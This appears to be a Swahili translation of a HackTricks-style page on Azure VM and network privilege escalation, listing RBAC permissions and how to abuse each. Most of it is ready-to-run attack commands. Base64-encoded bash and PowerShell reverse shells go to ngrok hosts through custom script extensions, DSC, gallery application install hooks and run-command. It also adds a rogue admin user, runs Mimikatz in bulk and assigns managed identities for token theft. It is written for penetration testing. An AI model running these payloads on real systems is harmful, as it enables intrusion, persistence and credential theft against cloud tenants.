Az - Virtual Machines & Network Privesc

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VMS & Network

Kwa maelezo zaidi kuhusu Azure Virtual Machines na Network angalia:

Az - Virtual Machines & Network

Microsoft.Compute/virtualMachines/extensions/write

Ruhusa hii inaruhusu kutekeleza nyongeza katika mashine za virtual ambazo zinaruhusu kutekeleza msimbo wowote juu yao. Mfano wa kutumia nyongeza za kawaida kutekeleza amri zisizo za kawaida katika VM:

Linux

• Tekeleza shell ya kurudi

# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'

• Teua skripti iliyo kwenye mtandao

az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Windows

• Tekeleza shell ya kinyume

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'

• Teua shell ya kurudi kutoka kwa faili

az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'

Unaweza pia kutekeleza payloads nyingine kama: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add

• Rejesha nenosiri ukitumia nyongeza ya VMAccess

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred

Pia inawezekana kutumia nyongeza zinazojulikana vizuri kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:

VMAccess extension

Nyongeza hii inaruhusu kubadilisha nenosiri (au kuunda ikiwa halipo) la watumiaji ndani ya VMs za Windows.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred

DesiredConfigurationState (DSC)

Hii ni nyongeza ya VM inayomilikiwa na Microsoft inayotumia PowerShell DSC kusimamia usanidi wa Azure Windows VMs. Hivyo, inaweza kutumika kutekeleza amri zisizo na mipaka katika Windows VMs kupitia nyongeza hii:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'

Hybrid Runbook Worker

Hii ni nyongeza ya VM ambayo itaruhusu kutekeleza runbooks katika VMs kutoka kwa akaunti ya automatisering. Kwa maelezo zaidi angalia huduma ya Automation Accounts.

Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)

Hizi ni ruhusa zinazohitajika kuunda programu mpya ya galleri na kuitekeleza ndani ya VM. Programu za galleri zinaweza kutekeleza chochote hivyo mshambuliaji anaweza kutumia hii kuathiri mifano ya VM zinazotekeleza amri zisizo na mipaka.

Ruhusa za mwisho 2 zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.

Mfano wa unyakuzi wa kutekeleza amri zisizo na mipaka:

Linux

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Windows

# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true

Microsoft.Compute/virtualMachines/runCommand/action

Hii ndiyo njia ya msingi zaidi ambayo Azure inatoa ili kutekeleza amri zisizo na mpangilio katika VMs:

Linux

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Windows

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1

## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1


# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Microsoft.Compute/virtualMachines/login/action

Ruhusa hii inamruhusu mtumiaji kuingia kama mtumiaji kwenye VM kupitia SSH au RDP (mradi uthibitisho wa Entra ID umewezeshwa kwenye VM).

Ingia kupitia SSH na az ssh vm --name <vm-name> --resource-group <rsc-group> na kupitia RDP na vithibitisho vyako vya kawaida vya Azure.

Microsoft.Compute/virtualMachines/loginAsAdmin/action

Ruhusa hii inamruhusu mtumiaji kuingia kama mtumiaji kwenye VM kupitia SSH au RDP (mradi uthibitisho wa Entra ID umewezeshwa kwenye VM).

Ingia kupitia SSH na az ssh vm --name <vm-name> --resource-group <rsc-group> na kupitia RDP na vithibitisho vyako vya kawaida vya Azure.

Microsoft.Resources/deployments/write, Microsoft.Network/virtualNetworks/write, Microsoft.Network/networkSecurityGroups/write, Microsoft.Network/networkSecurityGroups/join/action, Microsoft.Network/publicIPAddresses/write, Microsoft.Network/publicIPAddresses/join/action, Microsoft.Network/networkInterfaces/write, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action, Microsoft.Network/networkInterfaces/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Hizi zote ni ruhusa muhimu za kuunda VM yenye utambulisho maalum wa kusimamiwa na kuacha bandari wazi (22 katika kesi hii). Hii inamruhusu mtumiaji kuunda VM na kuungana nayo na kuchukua alama za utambulisho wa kusimamiwa ili kupandisha mamlaka kwake.

Kulingana na hali, ruhusa zaidi au chache zinaweza kuhitajika kutumia mbinu hii.

az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)

Microsoft.Compute/virtualMachines/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ruhusa hizo zinatosha kuteua utambulisho mpya wa usimamizi kwa VM. Kumbuka kwamba VM inaweza kuwa na utambulisho kadhaa wa usimamizi. Inaweza kuwa na ule wa mfumo, na utambulisho mwingi wa usimamizi wa mtumiaji. Kisha, kutoka kwa huduma ya metadata inawezekana kuzalisha tokeni kwa kila mmoja.

# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2

Kisha mshambuliaji anahitaji kuwa amevamia kwa namna fulani VM ili kuiba tokens kutoka kwa utambulisho wa usimamizi uliotolewa. Angalia maelezo zaidi katika:

Cloud SSRF | HackTricks

TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action

Kulingana na docs, ruhusa hii inakuwezesha kusimamia OS ya rasilimali yako kupitia Windows Admin Center kama msimamizi. Hivyo inaonekana hii inatoa ufikiaji wa WAC kudhibiti VMs...

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